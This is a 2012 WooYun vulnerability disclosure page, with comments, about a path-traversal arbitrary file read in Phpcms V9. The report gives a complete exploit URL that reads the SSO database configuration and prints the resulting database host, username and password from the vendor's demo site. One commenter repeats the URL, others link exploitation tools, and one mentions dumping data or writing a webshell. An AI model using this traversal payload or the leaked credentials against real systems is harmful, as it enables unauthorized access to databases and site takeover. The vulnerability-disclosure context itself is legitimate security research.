当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2012-010072

漏洞标题：Phpcms V9 直接爆密

相关厂商：phpcms

漏洞作者： 性感的蛐蛐

提交时间：2012-07-24 10:44

修复时间：2012-07-29 10:45

公开时间：2012-07-29 10:45

漏洞类型：任意文件遍历/下载

危害等级：中

自评Rank：5

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2012-07-24： 细节已通知厂商并且等待厂商处理中
2012-07-29： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

PHPCMS V9直接爆密码！！

详细说明：

没啥想解释的直接上地址吧:http://v9.demo.phpcms.cn/index.php?m=search&c=index&a=public_get_suggest_keyword&url=asdf&q=../../phpsso_server/caches/configs/database.php
没啥想解释的,好像有点蛋疼了,
<?php
return array (
'default' => array (
'hostname' => '10.150.10.77',
'database' => 'v9_demo_phpcms_cn',
'username' => 'v9_demo_phpcms_c',
'password' => 'KJhSLKHSKJ25423',
'tablepre' => 'v9_sso_',
'charset' => 'gbk',
'type' => 'mysql',
'debug' => true,
'pconnect' => 0,
'autoconnect' => 0
)
);
?>

漏洞证明：

修复方案：

版权声明：转载请注明来源 性感的蛐蛐@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2012-07-29 10:45

厂商回复：

最新状态：

暂无

漏洞评价：

评论

  1. 2012-07-24 11:22 | king ( 路人 | Rank:15 漏洞数:2 | 喜爱安全，网络游戏安全应用漏洞挖掘)

    public function public_get_suggest_keyword() { $url = $_GET['url'].'&q='.$_GET['q']; $trust_url = array('c8430fcf851e85818b546addf5bc4dd3'); $urm_md5 = md5($url); if (!in_array($urm_md5, $trust_url)) exit; $res = @file_get_contents($url); if(CHARSET != 'gbk') { $res = iconv('gbk', CHARSET, $res); } echo $res; }

  2. 2012-07-24 12:34 | f19ht ( 实习白帽子 | Rank:81 漏洞数:15 | 依依不舍的还是你的菊花。)

    继续关注。。。

  3. 2012-07-24 12:52 | pangshenjie ( 普通白帽子 | Rank:110 漏洞数:14 )

    刚才在某群里看到细节了，

  4. 2012-07-24 13:00 | _Evil ( 普通白帽子 | Rank:418 漏洞数:59 | 万事无他,唯手熟尔。农民也会编程,别指望天...)

    @king $trust_url = array('c8430fcf851e85818b546addf5bc4dd3')固定的吗?

  5. 2012-07-24 14:08 | 数据流 ( 普通白帽子 | Rank:716 漏洞数:88 | all or nothing,now or never)

    @pangshenjie 求

  6. 2012-07-24 16:48 | horseluke ( 普通白帽子 | Rank:116 漏洞数:18 | Realize the dream in earnest.)

    c8430fcf851e85818b546addf5bc4dd3 是啥米东西？后门？

  7. 2012-07-24 18:17 | 性感的蛐蛐 ( 路人 | Rank:0 漏洞数:2 | 少年,母猪喊你回家拱地!)

    据说V9站点统统出现传说中的username 和 password 诶，只能说强大的phpcms

  8. 2012-07-24 18:29 | 腰上有胸器 ( 路人 | Rank:11 漏洞数:5 | 一根带刺的黄瓜和一个女人的故事。)

    @f19ht @性感的蛐蛐 @数据流 http://madman.in/madman6/796.htm貌似这个工具都出来了。

  9. 2012-07-24 18:32 | 数据流 ( 普通白帽子 | Rank:716 漏洞数:88 | all or nothing,now or never)

    @腰上有胸器 日..看样子应该是任意文件下载吧

  10. 2012-07-24 19:52 | 性感的蛐蛐 ( 路人 | Rank:0 漏洞数:2 | 少年,母猪喊你回家拱地!)

    @数据流 据说仁兄一日一注入?

  11. 2012-07-24 20:34 | 数据流 ( 普通白帽子 | Rank:716 漏洞数:88 | all or nothing,now or never)

    @性感的蛐蛐 嘻嘻 没有啦..一日一射而已

  12. 2012-07-24 20:54 | 性感的蛐蛐 ( 路人 | Rank:0 漏洞数:2 | 少年,母猪喊你回家拱地!)

    @数据流 但愿仁兄,细水长流! 你懂的!

  13. 2012-07-24 21:06 | 数据流 ( 普通白帽子 | Rank:716 漏洞数:88 | all or nothing,now or never)

    @性感的蛐蛐 懂``哈

  14. 2012-07-25 01:24 | pangshenjie ( 普通白帽子 | Rank:110 漏洞数:14 )

    @数据流 我看到的细节是任意文件下载。

  15. 2012-07-25 03:09 | Creturn ( 路人 | Rank:19 漏洞数:4 | 静下心来，做自己想做的事情!)

    @腰上有胸器 额，貌似我写的晚了点，类似利用工具http://www.creturn.com/phpcmsv9%E6%9C%80%E6%96%B0%E4%BB%BB%E6%84%8F%E8%AF%BB%E6%96%87%E4%BB%B6%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%B7%A5%E5%85%B7

  16. 2012-07-25 14:35 | 性感的蛐蛐 ( 路人 | Rank:0 漏洞数:2 | 少年,母猪喊你回家拱地!)

    @Creturn 我已经通知官方修复了,呵呵

  17. 2012-07-25 14:42 | 波波虎 ( 普通白帽子 | Rank:266 漏洞数:51 | 11111111111)

    任意文件下载,影响一大片了

  18. 2012-07-25 14:57 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    @性感的蛐蛐 我刚刚下载还没有修复

  19. 2012-07-25 15:30 | 性感的蛐蛐 ( 路人 | Rank:0 漏洞数:2 | 少年,母猪喊你回家拱地!)

    @xsser 他们可以吃屎去了,呵呵,第一次看见这么不积极的官方,我跟他们客服联系的时候,架子大的很,以后PHPCMS出问题,让大家脱去吧,绝对不会再通知他们官方的!

  20. 2012-07-25 15:31 | 性感的蛐蛐 ( 路人 | Rank:0 漏洞数:2 | 少年,母猪喊你回家拱地!)

    @波波虎 人家觉得洞洞不重要,不需要修补,告诉我了两句话"这个漏洞 很早就修复了 可能是有些程序没打补丁"我说是官网爆出来的,他回答"嗯 那个演示站点没升级 我以告知技术 了"

  21. 2012-07-25 15:35 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    @性感的蛐蛐 乌云上一个漏洞也被忽略了 乌云已经发微博警告了

  22. 2012-07-25 15:42 | 性感的蛐蛐 ( 路人 | Rank:0 漏洞数:2 | 少年,母猪喊你回家拱地!)

    @xsser 亲,这漏洞不重要,才泄漏了,database,DataBase,UserName,Password 而已!哈哈,

  23. 2012-07-25 15:49 | 波波虎 ( 普通白帽子 | Rank:266 漏洞数:51 | 11111111111)

    ...............这个很严重，直接拿站,这下站长要蛋碎了

  24. 2012-07-25 15:57 | Zvall ( 路人 | Rank:25 漏洞数:14 | hello world)

    @洞主 这不是我发的洞么？http://zone.wooyun.org/content/555

  25. 2012-07-25 15:58 | leehenwu ( 普通白帽子 | Rank:194 漏洞数:24 | 撸·啊·撸)

    外连直接导数据，内连直接写shell

  26. 2012-07-25 17:03 | Creturn ( 路人 | Rank:19 漏洞数:4 | 静下心来，做自己想做的事情!)

    @Zvall 原来早就爆了

  27. 2012-07-25 17:07 | Creturn ( 路人 | Rank:19 漏洞数:4 | 静下心来，做自己想做的事情!)

    @leehenwu 内联直接写shell 还是那个地方？分析下，不行就来求指导

  28. 2012-07-25 19:04 | 性感的蛐蛐 ( 路人 | Rank:0 漏洞数:2 | 少年,母猪喊你回家拱地!)

    @Zvall 汗颜,不好意思,真没注意到,那联系官方删了该条吧,.....乌云什么时候多了个zone.wooyun.org啊?以前怎么没注意到?

  29. 2012-07-26 10:22 | 坏虾 ( 路人 | Rank:28 漏洞数:8 | From Internet,For Internet……BY：坏虾)

    index.php?m=search&c=index&a=public_get_suggest_keyword&url=asdf&q=../../phpsso_server/caches/configs/database.php

  30. 2012-07-26 11:33 | Seay ( 实习白帽子 | Rank:65 漏洞数:8 )

    @性感的蛐蛐 那些企业都这样

  31. 2012-07-26 17:29 | Creturn ( 路人 | Rank:19 漏洞数:4 | 静下心来，做自己想做的事情!)

    @leehenwu 大牛内联直接写shell怎么搞？小菜我研究几天硬是没结果？

  32. 2012-07-29 12:35 | horseluke ( 普通白帽子 | Rank:116 漏洞数:18 | Realize the dream in earnest.)

    外部关联：关于此漏洞的更新包：http://bbs.phpcms.cn/thread-621649-1-1.html

  33. 2012-07-29 14:26 | CCOz ( 路人 | Rank:22 漏洞数:7 | 本人还是处，有意的富婆请联系我，五万以下...)

    http://www.ccoz.net/blog/91。。。

  34. 2012-07-29 16:42 | LittlePig ( 路人 | Rank:5 漏洞数:2 | </html>)

    @horseluke 忽略再修复？求wooyun封杀PHPCMS！

  35. 2012-07-29 17:35 | horseluke ( 普通白帽子 | Rank:116 漏洞数:18 | Realize the dream in earnest.)

    @LittlePig 不是，从补丁发放来看，修复是在这个漏洞爆出之前的。

  36. 2012-07-30 09:51 | 性感的蛐蛐 ( 路人 | Rank:0 漏洞数:2 | 少年,母猪喊你回家拱地!)

    @horseluke 厂商回应,无影响,直接忽略

  37. 2012-08-30 17:26 | saline ( 普通白帽子 | Rank:231 漏洞数:32 | Focus On Web Secur1ty)

    @leehenwu 大牛内连写SHELL怎么搞?求思路...

  38. 2012-09-06 20:29 | tenzy ( 普通白帽子 | Rank:176 漏洞数:21 | Need not to know)

    @性感的蛐蛐 楼主发布的时候，这个漏洞已经补啦。所以厂商忽略了。建议楼主挖洞之前到后台点击一下更新，很多时候补丁不马上放到官方那个下载链接里，但是后台可以打补丁。

  39. 2012-09-11 09:11 | 性感的蛐蛐 ( 路人 | Rank:0 漏洞数:2 | 少年,母猪喊你回家拱地!)

    @tenzy 呵呵,可能是吧,我当时发现的时候是在他们官方演示站发现的,所以就提交喽,如果说他们自己做完补丁官方演示站都没更新,那么你说有多少个用户关注了?诶,,,伤不起了,看大牛是职业PHPCMS 洞洞大牛?哈哈,发的都是他们的?

  40. 2012-10-20 20:59 | CnCxzSec(衰仔) ( 普通白帽子 | Rank:322 漏洞数:32 | Wow~~~)

    这不是我和@xsser 七月份就在这下面说过了么…… WooYun: phpcms v9 Multiple Vulnerabilities

  41. 2012-10-20 21:01 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    @CnCxzSec(衰仔) 嗯 最后他做了